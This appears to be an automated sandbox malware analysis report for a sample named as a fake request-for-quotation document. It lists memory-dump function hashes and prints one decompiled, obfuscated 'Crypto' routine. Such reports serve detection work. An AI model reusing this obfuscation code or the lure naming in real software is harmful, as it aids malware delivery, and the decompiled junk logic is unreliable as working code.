Opcode ID: 7bd716fedd51ddea796cfb66969419f09a4edc7dc2ffb381dc22533861c33cb0
Instruction ID: dcb55718f395e40970d7afca3bcae6bd730a9c72aa91703a93c9e2759af6c947
Opcode Fuzzy Hash: 7bd716fedd51ddea796cfb66969419f09a4edc7dc2ffb381dc22533861c33cb0
Instruction Fuzzy Hash: 8ED1E1B2A04601EFC721DF24C941BAAB7F9FF48344F158529F4899B261DB78ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B236, Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction ID: fc436f90d8c8cfc41d9ee778004412633d21ec10498bed3ce4d3cde05cbe7305
Opcode Fuzzy Hash: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction Fuzzy Hash: DFB1AF31B106199FDB25DBA9C991BBEB7B6AF84300F244269F6529B382D730DD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A2849B, Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a997670d8b7cf11fb8c05a66ecf187453d8c07b167f9fdad7cd3af980ee0b6
Instruction ID: 47d5d948293a52bb23799ff260ce19c315dc6f972c30afc8ed6f36868f5bb334
Opcode Fuzzy Hash: 51a997670d8b7cf11fb8c05a66ecf187453d8c07b167f9fdad7cd3af980ee0b6
Instruction Fuzzy Hash: 78B16D70E05229DFDB14DFA8D980AAEBBB5FF58304F20812AF405AB255DB74AD45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A4513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a274f010ea6a2654b0e42112041c1564da64ea91cc6c5a10cf98c1367962e2
Instruction ID: 516128ba4979d744fc9cd50aa8f73d3b738c006922e795154bf939cb11ffcf17
Opcode Fuzzy Hash: 67a274f010ea6a2654b0e42112041c1564da64ea91cc6c5a10cf98c1367962e2
Instruction Fuzzy Hash: 29C122756087808FD354CF28C580A6AFBF1BF88704F188A6EF9998B352D771E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00A403E2, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128e66ec38d1c8d6cae01c2b887c4370387c2a8e8ca80d6bef01fecfbe0a6d97
Instruction ID: 5ee10abe9510d899d001f6cd94d91c49f072a7594d6df9d32270dd6efe3dd8ee
Opcode Fuzzy Hash: 128e66ec38d1c8d6cae01c2b887c4370387c2a8e8ca80d6bef01fecfbe0a6d97
Instruction Fuzzy Hash: 55915731E04215AFEB31AB68CC44FAE7BB4EF48724F150261FA10AB2E1DB749D00DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A4DA88, Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eeff01d62fa7e51f1bf3244d4ed916daf2af673d9bb6cda3b2f29cb22b29dc8
Instruction ID: 7428c5101bc594c6345b28593fbc5b076a0edf7f1ab50d075d9fdf1d4c2ecc05
Opcode Fuzzy Hash: 4eeff01d62fa7e51f1bf3244d4ed916daf2af673d9bb6cda3b2f29cb22b29dc8
Instruction Fuzzy Hash: 91A16C78A04205CFCF25DF28C9817A9B7B0FF99358F2546AEE8119B2A1D771D843DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4EBB0, Relevance: .2, Instructions: 250COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 119d23cbdf72b6d704076b3f3c48a7c6b1d403bb4a4e77527e4be15836e37c56
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 86811736A153568FEB25DF68C4C127EBB65FFD2304F3846BAD8428B241C3259C46E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0041D0D9, Relevance: .2, Instructions: 246
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E0041D0D9(void* __eax, void* __ebx, void* __edx, signed int __edi, void* __esi) {
				signed int _t25;
				signed char _t28;
				signed char _t32;
				signed int _t35;
				signed int _t38;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				asm("sbb al, [0xca0103b1]");
				 *0x3a5fd18f =  *0x3a5fd18f & __edi;
				 *0xc0662238 =  *0xc0662238 >> 0xa2;
				_pop(_t43);
				_t44 = _t43 & 0xba036998;
				_t28 = __ebx + 0x2a;
				_t25 = __eax + 0x3bed60e9 |  *0xa902a18b;
				asm("scasd");
				asm("sbb ch, 0x3c");
				asm("sbb ebx, 0xa6ae8d8d");
				_push( *0xf50c866d);
				_t46 = _t45 |  *0xed3eb0ba;
				_t38 = __edi + 1;
				_t35 = __edx +  *0x9635bc14;
				_push(_t46);
				asm("adc edx, [0xd418ec87]");
				asm("sbb ecx, 0x4f432227");
				asm("stosd");
				asm("adc esp, 0x5c85f93f");
				_push( *0xf5bd116);
				asm("sbb esp, 0x73ce9ec1");
				 *0x811a00d7 =  *0x811a00d7 >> 0x52;
				asm("sbb ebx, [0xbc333f35]");
				_pop(_t32);
				if(( *0xef508109 & _t44) != 0) {
					__esp = __esp & 0x0275dc8b;
					 *0xfef224eb =  *0xfef224eb >> 0x57;
					_pop(__esi);
					 *0x2269f6f8 =  *0x2269f6f8 << 0x91;
					_pop( *0x124f8733);
					asm("rcl dword [0x7e36abb], 0x40");
					__dl = __dl + 0x82;
					__ebx = __ebx ^  *0x4aaae7ea;
					__dh = __dh +  *0x9b94da38;
					 *0xd5203902 =  *0xd5203902 & __ch;
					asm("rcl dword [0x91beacc2], 0x18");
					__ebp = 0x77826d03;
					asm("scasb");
					__edx =  *0xbc5770fe;
					if( *0xd5203902 > 0) {
						goto L1;
					}
					__ebp =  *0xf500027f * 0x9247;
					_pop(__eax);
					_pop(__esi);
					_push(__esp);
					asm("adc ebx, 0x3ede809e");
					 *0xc417b1c4 = __esi;
					__eax = __eax + 1;
					__ebx = __ebx + 1;
					asm("sbb eax, [0x14e5a6cf]");
					if(__ebx <= 0) {
						goto L1;
					}
					__ebx =  *0xa7a0777e * 0xac6d;
					if(__ebx >= 0) {
						goto L1;
					}
					__edi =  *0x7b398b7d * 0x3f27;
					__esi =  *0xdeae7a1f;
					__ebx = __ebx |  *0xf28ef1d5;
					_pop(__ecx);
					 *0x96f07135 =  *0x96f07135 << 0xd8;
					__eax = __eax &  *0x121dcb09;
					 *0x6e12ae08 =  *0x6e12ae08 | __dl;
					__esi =  *0xdeae7a1f + 0x9987779c;
					asm("scasd");
					 *0x9bab8ada =  *0x9bab8ada & __edx;
					_t17 = __dl;
					__dl =  *0xcb35cab5;
					 *0xcb35cab5 = _t17;
					asm("adc eax, [0x9a939d68]");
					 *0xe627dd13 =  *0xe627dd13 >> 0xe6;
					 *0x7983f94 =  *0x7983f94 << 0x74;
					asm("rcl byte [0xcc5c1cd2], 0x9f");
					asm("rcr dword [0x5f20062b], 0x64");
					__esi =  *0xdeae7a1f + 0xffffffff9987779d;
					__eax = __eax + 1;
					asm("sbb eax, [0x9d587afb]");
					_push(__esi);
					asm("sbb edi, 0x186b18fb");
					asm("ror dword [0x26cf6eb], 0x8c");
					 *0xaa2dae68 = __edx;
					asm("rcl dword [0xec4c5083], 0xb1");
					 *0x84eb2cf1 =  *0x84eb2cf1 ^ __ebx;
					_push(__eax);
					__ebx =  *0xc60a876a * 0xb292;
					asm("sbb edx, 0x2c928417");
					__bh =  *0xcd67ff8a;
					asm("sbb [0xefa0fdb6], cl");
					asm("ror byte [0x5033033c], 0xa6");
					asm("adc edi, 0x2389f26c");
					__edi = 1 +  *0x7b398b7d * 0x3f27;
					__bh =  *0xcd67ff8a & 0x000000f6;
					__esp = __ecx;
					_push(__eax);
					__ebx =  *0xc60a876a * 0x0000b292 &  *0xd337640b;
					__esp = __esp ^  *0xd699e467;
					 *0x2597bce1 =  *0x2597bce1 ^ __al;
					__ebp = __ebp - 1;
					asm("rcl byte [0xf14b433a], 0x65");
					__ch = __ch - 0xe0;
					__bl = __bl |  *0xe95a3880;
					_t20 = __esp;
					__esp =  *0xcadfb83b;
					 *0xcadfb83b = _t20;
					if(__bl <= 0) {
						goto L1;
					}
					__edx =  *0xe9ab3d7e * 0xe83;
					__ecx = __ecx ^ 0x2e7a8368;
					__eax = __eax ^  *0xb3f29f68;
					_pop(__edi);
					__ecx = __ecx & 0xba4edc9d;
					if(__ecx <= 0) {
						goto L1;
					}
					_t21 = __esp;
					__esp =  *0xef915b76;
					 *0xef915b76 = _t21;
					__ecx = __ecx + 1;
					__ebp = __ebp - 0x5455f8de;
					__edi = __edi -  *0x810b123;
					__ecx = __ecx -  *0x460350f3;
					 *0xcf1399f2 = __bh;
					_pop( *0x196da11);
					_t22 = __ebp;
					__ebp =  *0xda5f978f;
					 *0xda5f978f = _t22;
					 *0x7f41131 =  *0x7f41131 >> 0xe3;
					 *0x49447bb9 =  *0x49447bb9 & __ebp;
					asm("rol dword [0xa118f626], 0x84");
					__esp =  *0xef915b76 -  *0x4cb575f5;
					__dl = __dl ^ 0x000000a2;
					 *0x723f1528 =  *0x723f1528 >> 0xea;
					if(__dl == 0) {
						goto L1;
					}
					__esp =  *0x787caf74;
					 *0xe79a0ee5 =  *0xe79a0ee5 ^ __cl;
					asm("rcr dword [0xed3f66da], 0x82");
					__edx = __edx + 0x1b7965;
					_push(__ebp);
					__edi =  *0x838bc46b * 0xbaac;
					__eax = __eax + 1;
					asm("movsb");
					if(__eax >= 0) {
						goto L1;
					}
					asm("sbb [0xa1f85573], ecx");
					 *0x798c4564 =  *0x798c4564 << 0xb1;
					 *0x2a3cbb1f =  *0x2a3cbb1f ^ __esp;
					asm("sbb dh, 0x30");
					__ebp = __ebp - 1;
					 *0x3bfa52de =  *0x3bfa52de << 0xff;
					_push( *0x6415369e);
					__esi = __esi |  *0xe4e210c5;
					__eax = __eax ^ 0x831061cf;
					asm("adc [0xa1137aef], eax");
					__esp = __esp - 1;
					asm("sbb edx, [0x5de7630d]");
					__eax = __eax + 1;
					asm("stosb");
					__ecx = __ecx +  *0x20c18ad6;
					_pop(__edi);
					if(__ecx <= 0) {
						goto L1;
					}
					__esp =  *0xd1431f7e * 0x27ab;
					__bh = __bh & 0x000000e5;
					asm("stosb");
					__esi = __esi |  *0x35839df0;
					asm("sbb ebx, 0x12a054ff");
					asm("rcr byte [0x548753e3], 0xc2");
					__ebx = __ebx & 0x633fccb9;
					asm("movsw");
					__edx = __edx & 0x23d86cea;
					 *0x278800e3 =  *0x278800e3 ^ __ch;
					_pop(__esp);
					asm("ror dword [0xf17cf391], 0x40");
					__al = __al | 0x0000007e;
					return __eax;
				}
				L1:
				_t32 = _t32 ^  *0xfe89cca3;
				asm("lodsd");
				L1();
				_t5 = _t38;
				_t38 =  *0xe6075ee8;
				 *0xe6075ee8 = _t5;
				if(_t32 > 0) {
					 *0x96122b76 = _t35;
					asm("rcl dword [0x93cbd5db], 0x2a");
					 *0x8d1b83bc =  *0x8d1b83bc >> 0xe4;
					asm("sbb esi, [0x46a87001]");
					_push(_t38);
					 *0x4329b4b5 =  *0x4329b4b5 >> 0xd6;
					if( *0x4329b4b5 >= 0) {
						 *0xfff70770 =  *0xfff70770 & _t38;
						 *0xb618015 =  *0xb618015 >> 0x4b;
						 *0x1aed2ecc =  *0x1aed2ecc ^ _t38;
						_t25 = _t25 ^  *0xe17a78ec;
						_push( *0x9ea3907);
						 *0xc692bc18 =  *0xc692bc18 >> 0xc2;
						asm("sbb ah, 0x80");
						 *0x3bd22ee6 =  *0x3bd22ee6 | _t32;
						 *0x48f799c8 = _t32;
						 *0x9113af1e = _t28;
						asm("sbb ebx, 0xc2b63cbb");
						asm("scasd");
						_t28 =  *0x9113af1e |  *0xa2325f25;
						asm("adc [0x200a136d], esi");
						_pop(_t35);
						 *0x586ce039 =  *0x586ce039 | _t44;
						 *0x1da94261 = _t46;
						asm("lodsb");
						_t32 = _t32 +  *0x61781c6c ^  *0x9889d21b;
						_t11 = _t46;
						_t46 =  *0xa7f20807;
						 *0xa7f20807 = _t11;
						asm("rol dword [0xa768e523], 0xc0");
						if(_t32 > 0) {
							_t38 =  *0xb7b1b27e * 0x9618;
							asm("adc eax, [0x11c806]");
							if(_t25 == 0xf2 &&  *0xbbd1287a < _t44) {
								asm("sbb esp, 0x31be1779");
								_t35 = _t35 & 0xdd8a8203;
								_t46 = _t46 + 0xc198979e;
								asm("cmpsb");
								asm("adc ebx, 0x9fc7b02f");
								asm("adc ecx, [0xff648898]");
								if(_t35 < 0) {
									 *0xc33fdc79 = _t32;
									_t47 =  *0x53b8bfd6;
									 *0x53b8bfd6 = _t46;
									asm("sbb edx, 0x909f020b");
									asm("sbb edx, [0xaf4fd3f7]");
									_t44 = _t44 & 0x1d96968e;
									_t32 = _t32 & 0x0000002a;
									asm("adc eax, [0xea180ebc]");
									 *0x4fdbf367 =  *0x4fdbf367 + _t47;
									_t46 = _t47 &  *0x60a107a3;
									_t28 = _t28 ^ 0x00000010;
									_t25 =  *0xe618b4bc;
									asm("adc cl, 0xe0");
								}
							}
						}
					}
				}
				goto L1;
			}

0x0041d0de
0x0041d0e4
0x0041d0ea
0x0041d0f1
0x0041d0f2
0x0041d0fe
0x0041d102
0x0041d118
0x0041d119
0x0041d127
0x0041d12d
0x0041d133
0x0041d139
0x0041d13a
0x0041d146
0x0041d147
0x0041d14d
0x0041d153
0x0041d154
0x0041d15a
0x0041d160
0x0041d16c
0x0041d173
0x0041d179
0x0041d17a
0x0041d186
0x0041d192
0x0041d199
0x0041d19a
0x0041d1a1
0x0041d1a7
0x0041d1ae
0x0041d1b1
0x0041d1b7
0x0041d1bd
0x0041d1c3
0x0041d1ca
0x0041d1d0
0x0041d1d1
0x0041d1d7
0x00000000
0x00000000
0x0041d1dd
0x0041d1e7
0x0041d1e8
0x0041d1e9
0x0041d1ea
0x0041d1f0
0x0041d1f6
0x0041d1f7
0x0041d1f8
0x0041d1fe
0x00000000
0x00000000
0x0041d204
0x0041d20e
0x00000000
0x00000000
0x0041d214
0x0041d21e
0x0041d224
0x0041d230
0x0041d231
0x0041d238
0x0041d23e
0x0041d244
0x0041d24a
0x0041d24b
0x0041d251
0x0041d251
0x0041d251
0x0041d257
0x0041d25d
0x0041d264
0x0041d26b
0x0041d272
0x0041d279
0x0041d27a
0x0041d27b
0x0041d281
0x0041d282
0x0041d288
0x0041d28f
0x0041d295
0x0041d29c
0x0041d2a2
0x0041d2a3
0x0041d2b4
0x0041d2ba
0x0041d2c0
0x0041d2c6
0x0041d2cd
0x0041d2d3
0x0041d2d4
0x0041d2dd
0x0041d2de
0x0041d2df
0x0041d2e5
0x0041d2eb
0x0041d2f1
0x0041d2f2
0x0041d2f9
0x0041d2fc
0x0041d302
0x0041d302
0x0041d302
0x0041d308
0x00000000
0x00000000
0x0041d30e
0x0041d318
0x0041d31e
0x0041d324
0x0041d325
0x0041d32b
0x00000000
0x00000000
0x0041d331
0x0041d331
0x0041d331
0x0041d337
0x0041d338
0x0041d33e
0x0041d344
0x0041d34a
0x0041d350
0x0041d35c
0x0041d35c
0x0041d35c
0x0041d362
0x0041d369
0x0041d36f
0x0041d376
0x0041d37c
0x0041d37f
0x0041d386
0x00000000
0x00000000
0x0041d38c
0x0041d392
0x0041d398
0x0041d3a0
0x0041d3a6
0x0041d3a7
0x0041d3b1
0x0041d3b2
0x0041d3b3
0x00000000
0x00000000
0x0041d3b9
0x0041d3bf
0x0041d3c6
0x0041d3cc
0x0041d3cf
0x0041d3d0
0x0041d3d7
0x0041d3dd
0x0041d3e3
0x0041d3e8
0x0041d3ee
0x0041d3ef
0x0041d3f5
0x0041d3fc
0x0041d3fd
0x0041d403
0x0041d404
0x00000000
0x00000000
0x0041d40a
0x0041d414
0x0041d417
0x0041d418
0x0041d41e
0x0041d424
0x0041d42b
0x0041d431
0x0041d433
0x0041d439
0x0041d43f
0x0041d440
0x0041d447
0x0041d449
0x0041d449
0x0041cf63
0x0041cf63
0x0041cf69
0x0041cf6a
0x0041cf6f
0x0041cf6f
0x0041cf6f
0x0041cf75
0x0041cf77
0x0041cf7d
0x0041cf8e
0x0041cf95
0x0041cf9b
0x0041cf9c
0x0041cfa3
0x0041cfa5
0x0041cfab
0x0041cfb2
0x0041cfb8
0x0041cfbe
0x0041cfc4
0x0041cfcb
0x0041cfce
0x0041cfd4
0x0041cfe6
0x0041cfec
0x0041cff8
0x0041cfff
0x0041d005
0x0041d011
0x0041d012
0x0041d01e
0x0041d024
0x0041d025
0x0041d02b
0x0041d02b
0x0041d02b
0x0041d031
0x0041d038
0x0041d03e
0x0041d048
0x0041d050
0x0041d062
0x0041d068
0x0041d06e
0x0041d074
0x0041d075
0x0041d07b
0x0041d081
0x0041d087
0x0041d08d
0x0041d08d
0x0041d093
0x0041d099
0x0041d0a5
0x0041d0ad
0x0041d0b6
0x0041d0bc
0x0041d0c2
0x0041d0c8
0x0041d0cb
0x0041d0d0
0x0041d0d0
0x0041d081
0x0041d050
0x0041d038
0x0041cfa3
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 865b61fd21938bab114d72e9480659d2e706fda82c77dc45e7062c35835ede45
Instruction ID: ecb264e2c8972aedd7658a7498d809c09fa8e961dc5b74f4bc03f770609fc479
Opcode Fuzzy Hash: 865b61fd21938bab114d72e9480659d2e706fda82c77dc45e7062c35835ede45
Instruction Fuzzy Hash: 26B17472808B58CFD316DF38D8CAA853BB6F356B34B08024EC5A2975D5C774215ACF89

Uniqueness

Uniqueness Score: -1.00%

Function 00A3AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2951b7e2bf4abc1a75ec3b658ff78338f6a3efcfa41be4b4972650e611b797
Instruction ID: 513ca25ec21f554578526af344fa9cc577e83e94f33c3e859f9269de0256f56b
Opcode Fuzzy Hash: ba2951b7e2bf4abc1a75ec3b658ff78338f6a3efcfa41be4b4972650e611b797
Instruction Fuzzy Hash: 6481C432A002298BDB24CF59C494B7EB7F1FBA4311F294299E9C19F781D630ED41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AE25DD, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bcffefce6e65052998f7bd73ae6aaddc0b806cdc1f9294b31189770a02104ba
Instruction ID: 97d3ac56b2a6e17ae394bc0c8edb0130ad825a61ac7dc985e2bd3325b1f87364
Opcode Fuzzy Hash: 5bcffefce6e65052998f7bd73ae6aaddc0b806cdc1f9294b31189770a02104ba
Instruction Fuzzy Hash: 2F810872A001558BCB08CF7AC8916BEBBF1FF88311B1986B9D855EB395DA34D901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AE1D55, Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b00828cd79bd90f93baf1a6df89014aa7dd8ce169b5d6621c687ded17c0cc5
Instruction ID: 06913af8ac467b61badd9d237e2ee239b4217d857b05f020b86cddf5781ed579
Opcode Fuzzy Hash: 37b00828cd79bd90f93baf1a6df89014aa7dd8ce169b5d6621c687ded17c0cc5
Instruction Fuzzy Hash: 09815D71E002698FCF18CFA9C9C09ECB7B1BF49314B24425AE412AB3D5DB319D46CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00A15AC0, Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 521d40a30eeea905bbe161d0a93a70ec2f7c3b82d37e66ca255e2509590072f7
Instruction ID: b22122675f717d9fe63f500cd77a5d79e601c5c6dee7877023f092d4c8cbc66f
Opcode Fuzzy Hash: 521d40a30eeea905bbe161d0a93a70ec2f7c3b82d37e66ca255e2509590072f7
Instruction Fuzzy Hash: 3781C8B1A045199BDB248B2CCD40BEA77F8EB44314F14C1B9EA19E7281E774DDC5CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00AD03DA, Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722376fc98be0ae52e03fb7c44ba600ac76eabc65f762fb81cc5661df856910c
Instruction ID: bc3d5f442e03927863c065111392f11aa31df59be8a3ec05cd1d3df928a67ef0
Opcode Fuzzy Hash: 722376fc98be0ae52e03fb7c44ba600ac76eabc65f762fb81cc5661df856910c
Instruction Fuzzy Hash: D571B572A00215DBDB18CF58C991FADBBF2EB88310F19826AD9169F385C731ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ACFA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2275dbb612959b0d81bebc64176809b6de5a4f9edc031e96f0d59c042917172b
Instruction ID: f5c6f4a3079192e9bffaccbc422476eed2dec9ce8ca1250ec3906fe760d8c917
Opcode Fuzzy Hash: 2275dbb612959b0d81bebc64176809b6de5a4f9edc031e96f0d59c042917172b
Instruction Fuzzy Hash: A7817E70A042499FDB18CF59C440BB9FBF2FB18304F26816EE855AB281D7789C81DF64

Uniqueness

Uniqueness Score: -1.00%

Function 00ADDBD2, Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7e1beb8e0709c91edfec688055184fd605ad445cfc1ff7443363b4ad3df230
Instruction ID: 2bd87a03bc38081c55ec0f484ade2a34de7cad75ddba4a8bb753a639b706bf0e
Opcode Fuzzy Hash: df7e1beb8e0709c91edfec688055184fd605ad445cfc1ff7443363b4ad3df230
Instruction Fuzzy Hash: 37710975E001299FCF14DF69C880ABEB7F6EF88310B14416AE896EB385D634DD45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AE28EC, Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2dab841880db29ac696afa1a97b3163c97f36ea00ff1f856ede2a20d0ad74f
Instruction ID: ff6cb5262977948f6663f693e1ef428b5e9be3ce01a9e1c519f9cdd8ea7cff54
Opcode Fuzzy Hash: 4b2dab841880db29ac696afa1a97b3163c97f36ea00ff1f856ede2a20d0ad74f
Instruction Fuzzy Hash: 7C71C371A0024A9BCB28CF6AC981BBEB7FAEF58350F148579E815D7291DB34DD41C790

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB2E8, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2b6936d0987a54e83faa55a36f46543d0a4f77a67696662508acefcc538733
Instruction ID: f7c5a0fcc4a940f84f86ce18e38332b6179495a0b01b3ddfb04c3970ac368b3c
Opcode Fuzzy Hash: 2f2b6936d0987a54e83faa55a36f46543d0a4f77a67696662508acefcc538733
Instruction Fuzzy Hash: 4D71DF71204340AFC711DFA9C984A6BBBE9EF88750F05496AF9568B352D770D808CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4138B, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction ID: d92c9957bb6e712ea7820549f04381b5cfedd4348215714b887e9e0d3d4d7a74
Opcode Fuzzy Hash: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction Fuzzy Hash: 3D818CB5A007459FCB24DF68C541BAABBF5FF48300F10856AE996C7751D330EA81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE2C5, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9f3998998442819c8106a903e7db28de523f60db713b34d7dd837b7550ce61
Instruction ID: 0d91f04a3639f2e75a8a11a473e85b013c0b0420388676d49c227005e434d597
Opcode Fuzzy Hash: 7e9f3998998442819c8106a903e7db28de523f60db713b34d7dd837b7550ce61
Instruction Fuzzy Hash: 71618171E006199B8B14DFA9C8804BDB7F2FB88324724876AD866EB380D7359D52DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AAB8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
